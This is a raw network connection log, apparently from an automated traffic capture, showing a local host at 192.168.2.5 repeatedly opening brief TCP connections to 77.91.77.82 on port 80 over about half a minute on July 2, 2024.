Jul 2, 2024 04:13:23.882993937 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.887449026 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.618786097 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.618879080 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.619601011 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.624382019 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.848818064 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.848891020 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.955459118 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.955787897 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.960624933 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.960706949 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.960741043 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:24.960788965 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.960880041 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:24.965581894 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:25.663980961 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:25.664176941 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:25.664772034 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:25.669667006 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:25.899619102 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:25.899807930 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.002212048 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.002548933 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.007373095 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.007436037 CEST	80	54820	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.007452011 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.007477045 CEST	54820	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.007690907 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.012411118 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.700937033 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.701034069 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.701817989 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:26.706599951 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.917126894 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:26.917323112 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.033510923 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.033745050 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.038522959 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.038614988 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.038675070 CEST	80	54821	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.038729906 CEST	54821	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.038729906 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.043477058 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.751769066 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.751847982 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.752573967 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:27.757322073 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.975944042 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:27.976001978 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.080353975 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.080694914 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.085572004 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:28.085598946 CEST	80	54822	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:28.085648060 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.085696936 CEST	54822	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.085863113 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.090591908 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:28.787744045 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:28.787847042 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.788600922 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:28.793365955 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.013032913 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.013247013 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.127430916 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.127746105 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.133621931 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.133688927 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.133824110 CEST	80	54823	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.133841038 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.133891106 CEST	54823	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.138602972 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.845529079 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:29.845586061 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.846240044 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:29.851006985 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:30.081568956 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:30.081680059 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.190089941 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.190519094 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.195349932 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:30.195380926 CEST	80	54824	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:30.195430040 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.195456028 CEST	54824	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.195561886 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:30.200299025 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:31.859036922 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:31.859159946 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:31.860367060 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:31.860446930 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:31.860574961 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:31.860625029 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:31.860733032 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:31.860779047 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:31.862370968 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:31.867336988 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.087618113 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.087750912 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.189819098 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.190139055 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.195003033 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.195072889 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.195180893 CEST	80	54825	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.195214987 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.195238113 CEST	54825	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.200032949 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.904964924 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:32.905081987 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.905710936 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:32.910605907 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.123821974 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.123959064 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.236546993 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.236854076 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.241662979 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.241689920 CEST	80	54826	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.241741896 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.241774082 CEST	54826	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.241878033 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.246664047 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.926994085 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:33.927093983 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.927829981 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:33.932564974 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.142371893 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.142455101 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.252223015 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.252521992 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.257343054 CEST	80	54827	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.257355928 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.257405996 CEST	54827	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.257445097 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.257564068 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.262289047 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.943903923 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:34.944093943 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.944756985 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:34.949467897 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.159831047 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.159887075 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.267759085 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.268076897 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.272830009 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.272892952 CEST	80	54828	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.272917986 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.272945881 CEST	54828	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.273108959 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.277810097 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.968525887 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:35.968614101 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.969265938 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:35.974006891 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:36.186629057 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:36.186748981 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.299200058 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.299561024 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.304325104 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:36.304457903 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.304464102 CEST	80	54829	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:36.304517984 CEST	54829	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.304534912 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:36.309319973 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.011038065 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.011126041 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.011804104 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.016674042 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.231813908 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.231905937 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.345932007 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.346282005 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.351423025 CEST	80	54830	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.351492882 CEST	54830	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.351660013 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:37.351727962 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.351912022 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:37.356626034 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.051417112 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.051486969 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.052098036 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.056905031 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.272430897 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.272488117 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.377216101 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.377541065 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.382354021 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.382455111 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.382517099 CEST	80	54831	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:38.382574081 CEST	54831	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.382603884 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:38.387382984 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.086400032 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.086528063 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.087327003 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.092147112 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.310285091 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.310358047 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.424186945 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.424505949 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.429301023 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.429382086 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.429389000 CEST	80	54832	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:39.429441929 CEST	54832	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.429651976 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:39.434350014 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.129559040 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.129697084 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.132514954 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.137358904 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.354006052 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.354091883 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.455480099 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.455782890 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.460599899 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.460671902 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.460690022 CEST	80	54833	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:40.460740089 CEST	54833	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.460853100 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:40.465594053 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.183795929 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.183882952 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.184549093 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.189284086 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.411151886 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.411240101 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.517832041 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.518163919 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.522931099 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.523013115 CEST	80	54834	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:41.523021936 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.523077965 CEST	54834	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.523262024 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:41.527966022 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.218688965 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.218746901 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.219589949 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.224349022 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.440473080 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.440568924 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.549197912 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.549539089 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.555906057 CEST	80	54835	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.555921078 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:42.556068897 CEST	54835	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.556117058 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.556278944 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:42.562621117 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.240888119 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.241013050 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.241802931 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.246601105 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.459498882 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.459551096 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.565090895 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.565424919 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.570127964 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.570151091 CEST	80	54836	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:43.570204973 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.570234060 CEST	54836	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.570422888 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:43.575104952 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.294951916 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.295037985 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.295680046 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.300478935 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.548326015 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.548433065 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.659337044 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.659646988 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.664448977 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.664549112 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.664669037 CEST	80	54837	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:44.664724112 CEST	54837	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.664799929 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:44.669573069 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.354466915 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.354589939 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.355340958 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.360074997 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.574151039 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.574285984 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.689810991 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.690304995 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.695112944 CEST	80	54838	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.695127010 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:45.695185900 CEST	54838	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.695290089 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.695436954 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:45.700180054 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.390404940 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.390470028 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.391324043 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.396130085 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.619321108 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.619400978 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.720930099 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.721229076 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.725992918 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.726077080 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.726241112 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.726366043 CEST	80	54839	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:46.726416111 CEST	54839	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:46.730943918 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.462407112 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.462481022 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.465179920 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.469901085 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.697082996 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.697156906 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.799184084 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.799614906 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.804559946 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.804589987 CEST	80	54840	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:47.804636002 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.804657936 CEST	54840	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.804848909 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:47.809623003 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.498660088 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.498788118 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.499461889 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.504349947 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.714771986 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.714894056 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.840926886 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.841267109 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.846025944 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.846096992 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.846113920 CEST	80	54841	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:48.846163988 CEST	54841	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.846317053 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:48.851032972 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.037920952 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.037938118 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.037980080 CEST	54842	80	192.168.2.5	77.91.77.82
